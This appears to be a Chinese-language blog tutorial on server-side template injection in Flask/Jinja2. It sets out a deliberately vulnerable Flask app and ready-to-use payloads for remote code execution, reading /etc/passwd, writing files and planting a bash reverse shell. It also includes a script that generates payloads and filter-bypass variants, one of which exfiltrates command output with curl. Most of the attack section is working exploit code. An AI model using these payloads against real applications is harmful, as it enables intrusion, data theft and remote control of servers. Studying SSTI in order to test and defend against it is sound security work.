Flask/jinja2与SSTI「服务端模版注入攻击」
in Python with 0 comment

Flask/jinja2与SSTI「服务端模版注入攻击」

in Python with 0 comment

简介


SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题。

SSTI原理


模版

在了解SSTI之前,首先需要了解什么是模版。用我自己的理解来解释就是:在开发中,为了能使前端,后端的开发解耦,而使用类似标签等形式来简化前端数据展示的语法。这样前端的代码就具有更高的可维护性。而这个标签要输出数据,还需要模版引擎去渲染。而渲染的本质,最后就是将标签解析为标准的开发语言语法,由语言解释器去执行,最后展示出数据,即使这个页面看起来很混乱,那也不需要开发人员去操心了,而只需要去关心模版如何更漂亮即可。

模版引擎:

模版引擎就是将模版中标签语法解释渲染页面的程序。主流的一些编程语言框架都有自己的模版引擎。如php语言的ThinPHP框架,Python的Django框架等。而一些优秀的模版引擎是可以使用的,如php的Twig,而Jinja2是Flask的支持模版引擎。

SSTI

用Flask来看一个简单的例子:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

直接使用用户输入内容作为模版内容,我们可以控制模版内容,而我们的输入也会被Jinja2模版引擎渲染。输入{{8*8}}查看返回结果。
ssti1.jpg

结果返回64这就表明服务端可以执行我们的的输入代码。如何将一个SSTI转为远程代码执行,早在2015年,国外的安全研究人员就研究出如何在模版中构造代码执行。
http://www.freebuf.com/articles/web/98928.html
获取eval函数并执行任意Python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ssit2.jpg

解析Payload


以上的Payload在Python3中可成功执行。
大致原理是[]{}''是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

生成Payload

在Python中有一个特殊的属性__globals__,它的作用是以一个dict返回函数所在模块命名空间中的所有变量。

outFuncVar = 2
def func():
    inFuncVar = 1
    pass
print(func)
print(func.__globals__)
import os
print(func.__globals__)

输出为:


{'outFuncVar': 2, , '__builtins__': }
{'outFuncVar': 2, , 'os': , '__builtins__': }

可以发现在__globals__中会包括引入的moudels,并且每个Python脚本会自动加载builtins这个模块,这个模块中包含了很多built-in函数,包括eval,exec,open等。

test.__globals__['__builtins__'].eval("print('test')")
#输出
test

接下来来了解Python中一些常见的特殊方法:
__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类
现在我们的思路就是从一个内置变量调用__class__.__base__等隐藏属性,去找到一个函数,然后调用其__globals__['__builtins__']即可调用eval等执行任意代码。

在jinja2中获取基类的方法如下:

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

获取基类之后去构造:

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

从以上思路,安全研究者给出的几个常见Payload如下:

Python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

利用jinja2的environment.py执行命令。这个模块中importos模块。可以执行命令

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

另外有大佬用脚本去遍历可以进行执行命令的类及隐藏属性,代码如下:

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

输出:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

...

随便选一个替换我们之前的Payload,会发现成功执行:

http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

ssti4.jpg

Flask/jinja2 SSTI绕过过滤


通过对以上Payload的研究会发现思路和Python沙箱逃逸思路基本相同。
通SQL注入过滤绕过一样,如何绕过SSTI?

过滤中括号

使用getitem()绕过

''.__class__.__mro__.__getitem__(2)

过滤[

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

获取chr函数,赋值给chr, 然后拼接字符串:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

可利用curl将执行结果带出来

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

REFERENCE

[1] http://www.ee50.com/ld/940.html
[2] http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates/
[3] http://www.freebuf.com/articles/web/98928.html
[4] https://p0sec.net/index.php/archives/120/

Responses